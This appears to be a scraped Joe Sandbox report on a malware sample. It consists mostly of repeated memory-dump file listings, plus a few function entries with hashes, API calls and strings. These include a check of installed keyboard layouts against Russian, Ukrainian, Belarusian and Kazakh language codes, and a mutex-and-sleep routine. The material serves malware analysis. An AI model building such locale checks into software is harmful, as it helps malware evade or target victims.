Associated: 00000000.00000002.2084463030.000000000021B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084479838.0000000000225000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084495103.0000000000226000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084511343.0000000000227000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084594922.000000000037B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084614661.000000000037D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084635726.0000000000396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084635726.00000000003A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084674953.00000000003AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084693513.00000000003AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084711988.00000000003B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084730473.00000000003B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084764475.00000000003B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084802844.00000000003BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084841806.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084857691.00000000003D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084881989.00000000003D6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084902229.00000000003D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084920645.00000000003D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084937828.00000000003D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084963527.00000000003E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084983877.00000000003EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085008309.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085026775.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085048565.0000000000418000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085064895.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085084036.000000000041A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085105430.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085124813.0000000000427000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085144260.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085167788.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085190305.0000000000439000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085208975.000000000043A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085227940.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085250212.000000000043D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085273354.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085294799.0000000000446000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085313813.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085346511.0000000000459000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085381060.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085411077.000000000045B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085435557.000000000045D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085454394.000000000045E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085495712.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085518452.0000000000469000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085545611.000000000046C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085545611.000000000048A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085593607.00000000004B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085630783.00000000004B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085646864.00000000004B8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085677232.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086034203.00000000004BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086490431.00000000004CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086854345.00000000004CE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: ConditionVariableWake
String ID:
API String ID: 1192502693-0
Opcode ID: 1f069d04e425cb6e5f884eee40d224f2b8de6e358052a89ec99b698810683ce9
Instruction ID: deb2d6fa7ba2fafead071dac3f2f6e6e315a5500eac108810fbf4e1e8af3052a
Opcode Fuzzy Hash: 1f069d04e425cb6e5f884eee40d224f2b8de6e358052a89ec99b698810683ce9
Instruction Fuzzy Hash: E7725971A142489BDB18EF28DC8ABEDBB75EBA5310F50825CF805973C1DB35DA80CB91

Function 001E652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,001E652A,?,?,?,?,?,001E7661), ref: 001E6567

Memory Dump Source

Source File: 00000000.00000002.2084391579.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2084372848.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084391579.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084446733.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084463030.000000000021B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084479838.0000000000225000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084495103.0000000000226000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084511343.0000000000227000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084594922.000000000037B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084614661.000000000037D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084635726.0000000000396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084635726.00000000003A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084674953.00000000003AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084693513.00000000003AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084711988.00000000003B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084730473.00000000003B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084764475.00000000003B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084802844.00000000003BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084841806.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084857691.00000000003D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084881989.00000000003D6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084902229.00000000003D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084920645.00000000003D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084937828.00000000003D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084963527.00000000003E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084983877.00000000003EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085008309.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085026775.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085048565.0000000000418000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085064895.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085084036.000000000041A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085105430.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085124813.0000000000427000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085144260.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085167788.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085190305.0000000000439000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085208975.000000000043A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085227940.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085250212.000000000043D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085273354.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085294799.0000000000446000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085313813.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085346511.0000000000459000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085381060.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085411077.000000000045B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085435557.000000000045D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085454394.000000000045E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085495712.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085518452.0000000000469000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085545611.000000000046C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085545611.000000000048A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085593607.00000000004B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085630783.00000000004B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085646864.00000000004B8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085677232.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086034203.00000000004BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086490431.00000000004CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086854345.00000000004CE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 2124fe068da7f748ef6783e566960a0635ea57b839324fbc01014ff661167f62
Instruction ID: 5abaad77774f306ba470c40d22b0ce7d21ca972652921c6f50e1124dd8335d42
Opcode Fuzzy Hash: 2124fe068da7f748ef6783e566960a0635ea57b839324fbc01014ff661167f62
Instruction Fuzzy Hash: 49E086301415886ECE267B16C84995C3B29EF617CAF400810F80886222CB25ED81C941

Function 04A20489 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091547256.0000000004A20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 366edc6243c856bd24989a91852abd79ce26f6337985bc9a0699c8e39567ed40
Instruction ID: 337352086a3a4ab8568d59e2306967585bf7ba575353e768ad9847176c7b77d1
Opcode Fuzzy Hash: 366edc6243c856bd24989a91852abd79ce26f6337985bc9a0699c8e39567ed40
Instruction Fuzzy Hash: AC1193FB20D2217D7112C55A6B14AFBA77DE6CBB30730C42AF507C2602E2945E4D7071

Function 001B5C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434COMMON

Download Yara Rule

Strings

0000043f, xrefs: 001B612B
00000419, xrefs: 001B6098
00000422, xrefs: 001B60C9
00000423, xrefs: 001B60FA
Keyboard Layout\Preload, xrefs: 001B6054

Memory Dump Source

Source File: 00000000.00000002.2084391579.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2084372848.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084391579.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084446733.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084463030.000000000021B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084479838.0000000000225000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084495103.0000000000226000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084511343.0000000000227000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084594922.000000000037B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084614661.000000000037D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084635726.0000000000396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084635726.00000000003A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084674953.00000000003AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084693513.00000000003AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084711988.00000000003B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084730473.00000000003B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084764475.00000000003B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084802844.00000000003BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084841806.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084857691.00000000003D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084881989.00000000003D6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084902229.00000000003D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084920645.00000000003D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084937828.00000000003D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084963527.00000000003E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084983877.00000000003EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085008309.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085026775.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085048565.0000000000418000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085064895.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085084036.000000000041A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085105430.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085124813.0000000000427000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085144260.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085167788.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085190305.0000000000439000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085208975.000000000043A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085227940.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085250212.000000000043D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085273354.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085294799.0000000000446000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085313813.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085346511.0000000000459000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085381060.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085411077.000000000045B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085435557.000000000045D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085454394.000000000045E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085495712.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085518452.0000000000469000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085545611.000000000046C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085545611.000000000048A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085593607.00000000004B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085630783.00000000004B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085646864.00000000004B8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085677232.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086034203.00000000004BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086490431.00000000004CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086854345.00000000004CE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 576765df9bec61bfd9d481e78dafb5750bcf3197e1355dc1de32b6d5370766fd
Instruction ID: 2e1073060b16d28545debbc4945e179fb267cc9eb19172abf2b99d9b92a9082c
Opcode Fuzzy Hash: 576765df9bec61bfd9d481e78dafb5750bcf3197e1355dc1de32b6d5370766fd
Instruction Fuzzy Hash: D8F1E27090025C9BEB24DF54CC85BEEBBBAEF54304F5042A9F508A72C1DB74AA94CF91

Function 001B9BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 001BA963
CreateMutexA.KERNEL32(00000000,00000000,00213254), ref: 001BA981

Strings

T2!, xrefs: 001BA970

Memory Dump Source

Source File: 00000000.00000002.2084391579.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2084372848.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084391579.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084446733.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084463030.000000000021B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084479838.0000000000225000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084495103.0000000000226000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084511343.0000000000227000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084594922.000000000037B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084614661.000000000037D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084635726.0000000000396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084635726.00000000003A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084674953.00000000003AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084693513.00000000003AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084711988.00000000003B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084730473.00000000003B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084764475.00000000003B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084802844.00000000003BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084841806.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084857691.00000000003D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084881989.00000000003D6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084902229.00000000003D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084920645.00000000003D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084937828.00000000003D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084963527.00000000003E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084983877.00000000003EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085008309.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085026775.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085048565.0000000000418000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085064895.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085084036.000000000041A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085105430.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085124813.0000000000427000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085144260.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085167788.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085190305.0000000000439000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085208975.000000000043A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085227940.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085250212.000000000043D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085273354.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085294799.0000000000446000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085313813.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085346511.0000000000459000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085381060.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085411077.000000000045B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085435557.000000000045D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085454394.000000000045E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085495712.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085518452.0000000000469000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085545611.000000000046C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085545611.000000000048A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085593607.00000000004B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085630783.00000000004B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085646864.00000000004B8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085677232.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086034203.00000000004BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086490431.00000000004CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086854345.00000000004CE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2!
API String ID: 1464230837-904731473
Opcode ID: 69572124978c6d6151cb9f92c4befe3fe7c0fc3b4ef0a3729142b22c4a585f28
Instruction ID: c27694a297746669c1571f47ce4107e2d6e4bf10994bafb326bcb5f6f039ee8d
Opcode Fuzzy Hash: 69572124978c6d6151cb9f92c4befe3fe7c0fc3b4ef0a3729142b22c4a585f28
Instruction Fuzzy Hash: F9316C316042009BEB08DB78DDD9BEEBB62EFD1314F604218E054D72D6C7759A818791

Function 001B9F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 001BA963
CreateMutexA.KERNEL32(00000000,00000000,00213254), ref: 001BA981

Strings

T2!, xrefs: 001BA970

Memory Dump Source

Source File: 00000000.00000002.2084391579.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2084372848.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084391579.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084446733.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084463030.000000000021B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084479838.0000000000225000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084495103.0000000000226000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084511343.0000000000227000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084594922.000000000037B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084614661.000000000037D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084635726.0000000000396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084635726.00000000003A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084674953.00000000003AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084693513.00000000003AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084711988.00000000003B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084730473.00000000003B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084764475.00000000003B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084802844.00000000003BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084841806.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084857691.00000000003D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084881989.00000000003D6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084902229.00000000003D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084920645.00000000003D8000.00000080.00000001.01000000.00000003.sdmpDownload File
